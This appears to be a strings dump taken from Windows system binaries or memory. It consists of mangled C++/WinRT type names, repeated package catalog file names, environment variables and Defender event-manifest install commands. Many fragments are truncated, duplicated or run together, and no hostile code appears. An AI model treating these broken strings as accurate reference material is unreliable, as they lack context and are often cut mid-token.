SCPT:WindowsSandboxConfig.C
SCPT:WindowsSandboxConfig.D
SCPT:WindowsSandboxConfig.E
!SCPT:WindowsSandboxConfig.F
!SCPT:WindowsSandboxConfig.G
!SCPT:WindowsSandboxConfig.H
!SCPT:WindowsSandboxConfig.I
!SCPT:WindowsSandboxConfig.J
WindowsI@
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
onecoreuap\windows\cdp\common\internal\winshared\BluetoothRadioHelpers.h
onecoreuap\windows\cdp\service\cdpsvc\CDPComSettingsInterop.h
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\resource.h
 @t@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IPageOverridesT@UProcessesPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UProcessesPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UProcessesPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UProcessesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UProcessesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UProcessesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UProcessesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UProcessesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UProcessesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$implements@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@Ucomposing@4@@winrt@@
.?AU?$producers_base@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@USettingsEntityViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@Ucomposing@4@@impl@winrt@@
.?AU?$require@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@UIDependencyObject2@6784@@impl@winrt@@
C:\Windows\SystemApps\Microsoft.
c:\windows\system32\cmd.exe/c"pL
c:\windows\system32\
WindowsCreateStringReference
ystem32\wevtutil.exe install-manifest "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\Microsoft-Antimalware-RTP.man" "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpRtp.dll" "/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpRtp.dll" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpRtp.dll"
6'ystem32\wevtutil.exe install-manifest "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\Microsoft-Antimalware-RTP.man" "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpRtp.dll" "/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpRtp.dll" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpRtp.dll"
6010.5-0\NisSrv.exe" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe"
@%SYSTEMROOT%\system32\ipconfig /release
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.internal.appinstallercheckforupdates.cpp
DriverData=C:\Windows\System32\
Microsoft.Windows.Firewall
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Basic-Http-Minio-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|M&	
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
windows.hlp
luePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$producer@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_c607c7cb2cf420999fbf737ee6d1ac6c>@@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_c607c7cb2cf420999fbf737ee6d1ac6c>@@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2162eb83bbe230678679748aaba5db2d>@@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2162eb83bbe230678679748aaba5db2d>@@@impl@winrt@@
.?AUtype@?$abi@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_f1e630bdea0c996d6f759567a0aa3ff5>@@@impl@winrt@@
.?AU?$delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_f1e630bdea0c996d6f759567a0aa3ff5>@@@impl@winrt@@
windows-1_
OS=Windows_NT
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral
Microsoft.Windows.Photos_8wekyb3d8bbwe
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
index.windows
index.windows
index.windows
windows
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|ktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-DXG-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Host-Guardian-Deployment-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Multimedia-RestrictedCodecsDolby-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|00.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-DiagnosticInfrastructure-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-DiagnosticInfrastructure-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
WindowsBackup.AppX7g7ckthmr138zk16nhs1hb5tyevsa9p6.mca
Windows.
Windows.
3^MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext
b^WindowsDefaultLockScree
ll\v1.0\;C:\WINDOWS\System32\OpenSSH
2Users\job\AppData\Local\Microsoft\WindowsApps;
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowSizing
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.unifiedtile.localstarttilepropertiesmap
[MSAL:0005]	DEBUG  	SetField:171	Key: authorization_type, Value: WindowsIntegratedAuth
Document Windows
New Windows
Path=C:\WINDOWS\system32;
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
